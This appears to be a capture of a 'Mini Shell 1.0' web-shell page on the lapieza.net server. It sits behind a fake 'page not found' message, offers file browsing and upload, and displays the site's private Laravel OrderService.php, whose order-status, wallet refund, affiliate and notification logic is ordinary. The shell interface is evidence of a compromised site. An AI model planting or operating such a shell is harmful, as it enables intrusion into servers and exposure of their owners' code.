HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Services/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Services/OrderService.php
<?php

namespace App\Services;



use Illuminate\Http\Request;



use App\Models\Order;

use App\Models\ProductStock;

use App\Models\SmsTemplate;

use App\Models\User;

use App\Utility\NotificationUtility;

use App\Utility\SmsUtility;





class OrderService{



    public function handle_delivery_status(Request $request)

    {

        $order = Order::findOrFail($request->order_id);

        $order->delivery_viewed = '0';

        $order->delivery_status = $request->status;

        $order->save();



        if ($request->status == 'cancelled' && $order->payment_type == 'wallet') {

            $user = User::where('id', $order->user_id)->first();

            $user->balance += $order->grand_total;

            $user->save();

        }



        foreach ($order->orderDetails as $key => $orderDetail) {



            $orderDetail->delivery_status = $request->status;

            $orderDetail->save();



            if ($request->status == 'cancelled') {

                product_restock($orderDetail);

            }



            if (addon_is_activated('affiliate_system') && auth()->user()->user_type == 'admin') {

                if (($request->status == 'delivered' || $request->status == 'cancelled') &&

                    $orderDetail->product_referral_code

                ) {



                    $no_of_delivered = 0;

                    $no_of_canceled = 0;



                    if ($request->status == 'delivered') {

                        $no_of_delivered = $orderDetail->quantity;

                    }

                    if ($request->status == 'cancelled') {

                        $no_of_canceled = $orderDetail->quantity;

                    }



                    $referred_by_user = User::where('referral_code', $orderDetail->product_referral_code)->first();



                    $affiliateController = new AffiliateController;

                    $affiliateController->processAffiliateStats($referred_by_user->id, 0, 0, $no_of_delivered, $no_of_canceled);

                }

            }

        }

        if (addon_is_activated('otp_system') && SmsTemplate::where('identifier', 'delivery_status_change')->first()->status == 1) {

            try {

                SmsUtility::delivery_status_change(json_decode($order->shipping_address)->phone, $order);

            } catch (\Exception $e) {



            }

        }



        //sends Notifications to user

        NotificationUtility::sendNotification($order, $request->status);

        if (get_setting('google_firebase') == 1 && $order->user->device_token != null) {

            $request->device_token = $order->user->device_token;

            $request->title = "Order updated !";

            $status = str_replace("_", "", $order->delivery_status);

            $request->text = " Your order {$order->code} has been {$status}";



            $request->type = "order";

            $request->id = $order->id;

            $request->user_id = $order->user->id;



            NotificationUtility::sendFirebaseNotification($request);

        }





        if (addon_is_activated('delivery_boy')) {

            if (auth()->user()->user_type == 'delivery_boy') {

                $deliveryBoyController = new DeliveryBoyController;

                $deliveryBoyController->store_delivery_history($order);

            }

        }

    }



    public function handle_payment_status(Request $request)

    {

        $order = Order::findOrFail($request->order_id);

        $order->payment_status_viewed = '0';

        $order->save();



        if (auth()->user()->user_type == 'seller') {

            foreach ($order->orderDetails->where('seller_id', auth()->user()->id) as $key => $orderDetail) {

                $orderDetail->payment_status = $request->status;

                $orderDetail->save();

            }

        } else {

            foreach ($order->orderDetails as $key => $orderDetail) {

                $orderDetail->payment_status = $request->status;

                $orderDetail->save();

            }

        }



        $status = 'paid';

        foreach ($order->orderDetails as $key => $orderDetail) {

            if ($orderDetail->payment_status != 'paid') {

                $status = 'unpaid';

            }

        }

        $order->payment_status = $status;

        $order->save();





        if ($order->payment_status == 'paid' && $order->commission_calculated == 0) {

            calculateCommissionAffilationClubPoint($order);

        }



        //sends Notifications to user

        NotificationUtility::sendNotification($order, $request->status);

        if (get_setting('google_firebase') == 1 && $order->user->device_token != null) {

            $request->device_token = $order->user->device_token;

            $request->title = "Order updated !";

            $status = str_replace("_", "", $order->payment_status);

            $request->text = " Your order {$order->code} has been {$status}";



            $request->type = "order";

            $request->id = $order->id;

            $request->user_id = $order->user->id;



            NotificationUtility::sendFirebaseNotification($request);

        }





        if (addon_is_activated('otp_system') && SmsTemplate::where('identifier', 'payment_status_change')->first()->status == 1) {

            try {

                SmsUtility::payment_status_change(json_decode($order->shipping_address)->phone, $order);

            } catch (\Exception $e) {



            }

        }

        return 1;

    

    }



}